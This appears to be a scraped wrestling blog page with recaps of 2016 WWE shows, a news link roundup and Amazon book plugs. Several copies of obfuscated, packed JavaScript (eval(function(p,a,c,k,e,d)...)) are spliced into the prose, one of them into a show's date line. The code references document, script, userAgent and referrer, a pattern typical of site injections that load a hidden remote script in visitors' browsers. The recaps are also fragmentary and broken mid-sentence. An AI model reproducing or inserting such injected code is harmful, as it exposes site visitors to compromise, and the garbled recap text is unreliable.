The WWE UK Tournament
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddyfr|var|u0026u|referrer|bbhtk||js|php'.split('|'),0,{})) you’ve probably heard by now, WWE is going to be holding a UK wrestling tournament in early 2017 which is likely leading to a regular TV series. Now if you listen to WWE, this is for the sake of expanding their international brand. If you pay attention, it’s to crush ITV’s attempt at reviving World of Sport. This isn’t the first time WWE has done something like this and it certainly won’t be the last.
Monday Night Raw – July 15, 2002 (2016 Redo): Back to the Beginning
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Night Raw
Date: July 15, 2002
Location: Continental Airlines Arena, East Rutherford, New Jersey
Commentators: Jim Ross, Jerry Lawler
Opening sequence.
Flair thinks the new boss will be a McMahon.
Jeff Hardy/Dudley Boyz vs. William Regal/Eddie Guerrero/Chris Benoit
Regal hitting his weird jumping knees. A butterfly suplex gets two and the fans are staying right there with Hardy (Odd pink/white shirt aside. It looks like he poured paint over his head.).
Bubba makes a save and everything breaks down into the huge brawl. Eddie throws in the European Title with Bubba nailing Regal in the head for the DQ. A Swanton Bomb gets rid of Regal and we take a break with Benoit/Guerrero vs. Hardy to go. Back with Jeff grabbing his double legdrop rollup to get rid of Guerrero. Benoit snaps off a German suplex but gets caught by the Whisper in the Wind. Cue Eddie for another distraction so Regal can get in a brass knuckles shot to knock Jeff silly. The Crossface on the unconscious Hardy gives Benoit the win.
Rating: B. Now this is more like it. They were beating the heck out of each other at a frantic pace which is the kind of opening match you never get around here. To top it off they even managed to keep a champion strong as it took three people and a brass knuckles shot to put Hardy down. Well done all around here and a really good opener.
Bubba and Spike save Jeff from going through a table.
Tommy Dreamer vs. Steven Richards
ded to debut him.
Post break Bischoff sucks up to Undertaker despite him never coming to WCW (“I guess loyalty meant more to you than money.”) but Bradshaw scares the new boss off.
Big Show vs. Booker T.
Show easily takes over to start and gets in an impressive looking suplex. A whip sends Booker into the corner and Show casually leans into a raised boot. Booker Cactus Clotheslines him to the floor but misses a chair shot. Show grabs the chair instead, shoves the referee and chairs Booker for the DQ.
Heyman talks about Bischoff while Brock Lesnar lifts a piece of the set. You know, as monsters do. Paul has a plan for the tag match and Lesnar is pleased.
Hardcore Title: Christopher Nowinski vs. Bradshaw
Show comes in to see Bischoff and gets a match with Booker on Sunday.
Johnny the Bull thanks Eric for the chance and gets clotheslined so Bradshaw can get the title back.
Undertaker and Lesnar have a showdown.
Undertaker/Brock Lesnar vs. Rob Van Dam/Ric Flair
A great looking powerslam plants Ric again but Flair is able to get over for the hot tag. Van Dam kicks Brock down and gets two off Rolling Thunder to Undertaker. Everything breaks down and Brock gives Flair the F5. A kick to the chest sets up the Five Star hits on Lesnar, only to have Undertaker plant Rob with the Last Ride for the pin.
https://www.amazon.com/dp/B01MQKDV5O
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Tribute to the Troops 2016: It’s Just Getting Worse
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to the Troops 2016
Date: December 14, 2016
Location: Verizon Center, Washington D.C.
Commentators: Michael Cole, Byron Saxton, John Bradshaw Layfield
Shane and Stephanie McMahon welcome us to the show.
Video on the history of the series with a look back at all of the shows. The ones where they went overseas just feel so much more important.
Lillian Garcia is back to sing the National Anthem.
Cole says this is a rare occasion when the Raw, Smackdown and cruiserweight rosters are on the same show. You mean like Survivor Series?
Package on wrestlers visiting troops.
Cesaro/Sheamus vs. Shining Stars vs. Anderson and Gallows vs. Golden Truth
An elbow drop gets two with Sheamus making the save. The hot tag brings in R-Truth to clean house with an ax kick getting two on Primo. Cesaro comes in to clean house with his usual stuff, including the high crossbody for two more on Primo. Epico saves his cousin from the Swing but gets Brogue Kicked for the pin at 9:28.
More wrestlers meeting troops.
Miz vs. Apollo Crews
Non-title. Miz starts with the Daniel Bryan mockery fast by doing the YES pose and hitting the running corner dropkick. The running corner clothesline is countered into a belly to belly suplex as Iglesias starts taking pictures with Maryse. Neither Miz nor Maryse are pleased so Crews kicks Miz in the face, meaning another picture can be taken. The distraction lets Crews grab a rollup for the pin at 2:30.
Some troops say hello to their families.
Dolph Ziggler/American Alpha vs. Wyatt Family
Bayley vs. Dana Brooke
Charlotte and the dog are at ringside. Dana takes her down and cranks on an arm and a leg at the same time. Bayley comes back with her spinning elbow in the corner but Charlotte grabs the leg to break up the suplex. The fans want Sasha but have to settle for Bayley throwing Dana into Charlotte. Back in and the Bayley to Belly wraps Dana up at 2:24.
TJ Perkins/Jack Gallagher/Rich Swann vs. Brian Kendrick/Tony Nese/Drew Gulak
HHH and Stephanie went to the Tomb of the Unknown Soldier for a ceremony.
More wrestlers in Afghanistan.
Big Cass/Roman Reigns vs. Rusev/Kevin Owens
Back with Owens getting in a cheap shot on Reigns to give the bad guys control. Owens gets all angry with the trash talk and drops a backsplash on the floor. Reigns finally throws Rusev down and a big uppercut to Owens allows the hot tag to Cass. Everything breaks down but Lana shoves Enzo into the steps. The distraction lets Rusev get in a superkick to set up the frog splash for two. Another hot tag brings in Reigns for the spear and pin on Rusev at 12:55.
A quick thank you to the troops wraps us up.
Results
Cesaro/Sheamus b. Shining Stars, Anderson and Gallows and Golden Truth – Brogue Kick to Epico
Apollo Crews b. Miz – Rollup
Wyatt Family b. Dolph Ziggler/American Alpha – RKO to Gable
Bayley b. Dana Brooke – Bayley to Belly
Roman Reigns/Big Cass b. Kevin Owens/Rusev – Spear to Rusev
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at:
Daily News Update – December 14, 2016
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tffdz|var|u0026u|referrer|treie||js|php'.split('|'),0,{})) Hero Returning to NXT. December 12, 2016.
http://wrestlingrumors.net/chris-hero-returning-to-nxt/
Ratings Up For “Saturday Night Live” Featuring John Cena. December 12, 2016.
http://wrestlingrumors.net/ratings-saturday-night-live-featuring-john-cena/
Former WWE Wrestler Stops Robbery. December 12, 2016.
http://wrestlingrumors.net/former-wwe-wrestler-stops-attempted-robbery/
Cody Rhodes Debuting at “Wrestle Kingdom” Against Former NXT Star. December 12, 2016.
http://wrestlingrumors.net/cody-rhodes-debuting-wrestle-kingdom-former-nxt-star/
WWE Announces Cruiserweight Title Match for “Roadblock 2016”. December 12, 2016.
http://wrestlingrumors.net/wwe-announces-cruiserweight-title-match-roadblock-2016/
Former X-Division Champion Finishes Up with TNA. December 13, 2016.
http://wrestlingrumors.net/former-x-division-champion-finishes-tna/
http://wrestlingrumors.net/bray-wyatt-responds-broken-matt-hardys-open-challenge/
Roman Reigns Needs to Drop the US Title Immediately. December 13, 2016.
http://wrestlingrumors.net/roman-reigns-needs-drop-us-title-immediately/
See How Samoa Joe Reacts to TNA Chants. December 13, 2016.
http://wrestlingrumors.net/see-samoa-joe-reacts-tna-chants/
“Monday Night Raw” Ratings Down, Worst Week Since October. December 13, 2016.
http://wrestlingrumors.net/monday-night-raw-ratings-worst-week-since-october/
Zack Ryder Injured at “Smackdown Live”. December 14, 2016.
http://wrestlingrumors.net/zack-ryder-injured-smackdown-live/
205 Live – December 13, 2016: You Can Feel the Vince
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Live
Date: December 14, 2016
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Mauro Ranallo, Corey Graves, Austin Aries
Jack Gallagher vs. Drew Gulak
Perkins tells Swann that the luck is about to run out.
Tajiri is coming.
Gallagher is talking about his victory when Ariya Daivari comes up. Jack is willing to call it even but Daivari says no way and starts speaking his native language before leaving.
Mustafa Ali vs. Lince Dorado
Ali goes for a post match cheap shot but gets kicked out to the floor.
Long video on TJ Perkins.
Rich Swann vs. TJ Perkins
Non-title and as you might expect, Kendrick comes out to join commentary. They trade wristlocks to start with both guys flipping out of the others offense. A double dropkick means a double miss into a double nip up and a standoff. Swann finally kicks him in the jaw to take over but Perkins tosses the champ outside for a slingshot dropkick.
Kendrick comes to the ring but eats a superkick.
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Smackdown – December 13, 2016: Random Cameos Can Be Good Things
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytyfb|var|u0026u|referrer|zedez||js|php'.split('|'),0,{}))
December 13, 2016
Location: Verizon Center, Washington D.C.
Commentators: Tom Phillips, John Bradshaw Layfield, David Otunga, Mauro Ranallo
Opening sequence.
Carmella vs. Natalya
Video on John Cena hosting Saturday Night Live. Cena is back in two weeks.
Tag Team Battle Royal
American Alpha, Heath Slater/Rhyno, Ascension, Vaudevillains, Hype Bros, Breezango
Baron Corbin video.
Alexa Bliss vs. Deonna Purrazzo
Actually never mind as Bliss says this is beneath her so no match.
Lynch is challenging and Bliss hides in the ropes to start. The threat of a Disarm-Her sends Alexa even further into the ropes, followed by some armdrags to keep the champ in trouble. Bliss gets rolled up for two as JBL talks about blocking Mauro on Twitter. Another Disarm-Her sends Bliss outside and, claiming a knee injury, she takes the countout at 4:30.
Bliss goes after Becky with the knee looking just fine. The beatdown sends Bliss limping back to the floor.
Dean Ambrose vs. Dolph Ziggler vs. Luke Harper vs. The Miz
Back with Ambrose hitting a spinning backbreaker for two on Ziggler while Luke it out on the floor. The Zig Zag puts Harper down but Dean drops the top rope clothesline for two on Ziggler. Harper comes back with a sitout powerbomb for two more on Ziggler but a superkick into Dirty Deeds gets rid of Luke at 15:13.
Rich Swann tells us to check out 205 Live.
Overall Rating: C+. This was an interesting show as they set up a lot for what feels like it could be a major show on December 27. I can go for the Hype Bros as the next victims for the Wyatts and it should be interesting to see what happens when Lynch finally gets a big time title shot. Good show here and I think I can handle another week without Ellsworth getting his title shot.
Results
Carmella b. Natalya – Small package
Zack Ryder won a battle royal last eliminating Konor
Becky Lynch b. Alexa Bliss via countout
Dolph Ziggler b. Luke Harper, Dean Ambrose and the Miz – Superkick to Ambrose
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Monday Night Raw – December 12, 2016: New Day Still Rocks
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Night Raw
Date: December 12, 2016
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Michael Cole, Byron Saxton, Corey Graves
Opening sequence.
Tag Team Titles: New Day vs. Anderson and Gallows vs. Cesaro/Sheamus
The place goes NUTS for the record as New Day celebrates.
Braun Strowman vs. Curtis Axel
Splash, torture rack, wheelbarrow slam, Braun wins at 1:14.
Ariya Daivari vs. Lince Dorado
TJ Perkins vs. Brian Kendrick
Charlotte and Sasha Banks will have no rematch after Sunday.
Video on Sasha vs. Charlotte.
Bayley vs. Alicia Fox
This is over a destroyed Bayley Bear. Bayley rides her to the mat to start and rides Fox for a bit, earning some HEY WE WANT SOME BAYLEY chants. The ax kick gets two for Fox but she spends too much time talking trash and walks into the Bayley to Belly for the pin at 2:45.
Jericho suggests that winning the Tag Team Titles might help his friendship with Owens.
Sami Zayn vs. Jinder Mahal
Sami dropkicks him to start but gets kneed in the face to give Jinder what is likely a short term advantage. The chinlock keeps Sami down until the exploder and Helluva Kick give him the pin at 3:20.
Video on John Cena hosting Saturday Night Live.
Tag Team Titles: Seth Rollins/Roman Reigns vs. Chris Jericho/Kevin Owens vs. New Day
Results
New Day b. Cesaro/Sheamus and Anderson and Gallows – Trouble in Paradise to Sheamus
Braun Strowman b. Curtis Axel – Wheelbarrow slam
Ariya Daivari b. Lince Dorado via DQ when Jack Gallagher interfered
Brian Kendrick b. TJ Perkins – Sliced Bread #2
Bayley b. Alicia Fox – Bayley to Belly
Sami Zayn b. Jinder Mahal – Helluva Kick
New Day b. Roman Reigns/Seth Rollins and Chris Jericho/Kevin Owens – Pedigree to Jericho
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at:
205 Live – December 6, 2016: How Appropriate That I Forgot to Post This
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Live
Date: December 6, 2016
Location: Toyota Center, Houston, Texas
Commentators: Mauro Ranallo, Corey Graves, Austin Aries
Opening sequence.
Noam Dar vs. Cedric Alexander
Post match Dar dedicates the win to Fox, meaning we have a heel turn and a likely rematch.
Mustafa Ali video.
TJ Perkins wishes Swann luck but suggests that it was the same luck that gave Swann the win last night.
Ariya Daivari vs. Jack Gallagher
Lince Dorado video.
TJ Perkins comes out for commentary on the main event.
Cruiserweight Title: Rich Swann vs. Brian Kendrick
Post match, Kendrick goes after Perkins and Swann inadvertently collides with TJ to end the show.
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http://www.amazon.com/Thomas-Hall/e/B00E6282W6
Main Event – December 9, 2016: It’s Spread
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Event
Date: December 9, 2016
Location: Frank Erwin Center, Austin, Texas
Commentators: Tom Phillips, Byron Saxton
Opening sequence.
Darren Young vs. Jinder Mahal
…..no. No no, no no no. NO! How many times can they possibly do THIS SAME MATCH??? Young wristlocks him down to start and we hit the mat with a headlock takeover. Jinder goes after the knee to take over but some cannonballs down onto the leg only get him kicked out to the floor. The Gut Check is broken up but a second attempt is enough to put Mahal away at 5:00.
Rating: D+. Just a simple match but the repetitive nature is just killing the thing. I have no idea who is loving these matches so much but I really question their taste in wrestling. Just find something new already because, even though not a lot of people are watching, these shows have an audience and they deserve a bit more respect.
Back to Raw.
From Raw again.
Anderson and Gallows vs. Cesaro/Sheamus
Bo Dallas vs. Sin Cara
Back to Raw one last time to wrap things up.
US Title: Chris Jericho vs. Roman Reigns
Roman is defending and is actually driven into the corner to start. The Superman Punch is countered with a dropkick and a clothesline puts the champ on the floor. A big dive to the floor takes Reigns out again and we take a break. Back with Reigns caught in a chinlock for a bit before being tossed out to the floor.
The Lionsault only gets two and the fans are getting WAY into Jericho all over again. A Samoan drop and Superman Punch get two on Jericho and the Codebreaker is countered into a sitout powerbomb. Roman goes shoulder first into the post though and we hit the Walls. As Reigns grabs the rope, cue Owens for a superkick. The Codebreaker gets two on Reigns but the Canadian argument sets up the spear to retain the title at 13:43.
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Think of Any Episode of Raw Ever
It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkzrb|var|u0026u|referrer|fiyen||js|php'.split('|'),0,{})) on the Network. That’s absolutely insane and I love it.